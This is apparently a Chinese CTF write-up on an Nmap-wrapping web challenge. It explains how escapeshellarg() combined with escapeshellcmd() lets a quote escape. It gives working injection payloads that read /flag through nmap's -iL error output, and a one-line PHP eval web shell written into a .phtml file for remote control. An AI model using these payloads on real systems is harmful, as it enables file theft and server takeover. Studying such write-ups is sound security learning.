Nmap 相关参数
-iL 读取文件内容,以文件内容作为搜索目标
-o 输出到文件
举例
nmap -iL ip_target.txt -o result.txt
扫描ip_target.txt内包含的ip地址,输出扫描结果至result.txt
读取文件结果
# Nmap 6.47 scan initiated Fri Dec 24 06:48:23 2021 as: nmap -Pn -T4 -F --host-timeout 1000ms -oX xml/a9950 -iL /flag -o 22' 127.0.0.1\ Failed to resolve "flag{c5e95c66-f441-496b-ac27-699ea43d5c32}". WARNING: No targets were specified, so 0 hosts scanned. # Nmap done at Fri Dec 24 06:48:23 2021 -- 0 IP addresses (0 hosts up) scanned in 0.11 seconds会提示搜索内容失败,然后会写出来内容是啥,从而实现任意文件读取。
escapeshell
分为excapeshellarg()和escapeshellcmd()两个函数
escapeshellarg()
escapeshellarg — 把字符串转码为可以在 shell 命令里使用的参数,保证其作为参数的安全性。
用转义符转义所有单引号,然后用单引号包裹,如
123' aa
经过escapeshellarg,先转义单引号
123\' aa
再用单引号包裹
123'\'' aa
最后,escapeshellarg会将整个字符串用单引号包裹,让字符串变成这样
'123'\'' aa'escapeshellcmd()
escapeshellcmd - 把字符串中可能欺骗shell命令的字符转义, 用以保证送到system函数或者exec函数的字符串是安全的。
可以看到,不光这些字符,转义符本身还有落单的引号也会被转义。
这个时候,我们把传入escapeshellarg的字符串拿过来,在经过这个函数的处理。
'123'\'' aa'转义后
'123'\\'' aa\'因为转义符被转义,最后的引号便落单,逃逸了出去。这个时候,被输入的字符串不再被当成单个参数处理(不再有引号包裹), 即逃出了这两个函数。
题目
输入127.0.0.1后如此回显
结合题目nmap
猜测将命令插在nmap命令中
127.0.0.1 -iL / flag -o 111
报错了,这里看wp得知要绕过
换用pyload
127.0.0.1' -iL /flag -o 111
这里要查看111'文件才行
具体
https://www.cnblogs.com/AikN/p/15727575.html
这里还可以写木马进去
' <?= @eval($_POST["pd"]);?> -oG pd.phtml '
写进去访问,连接蚁剑
https://www.cnblogs.com/buchuo/p/13614498.html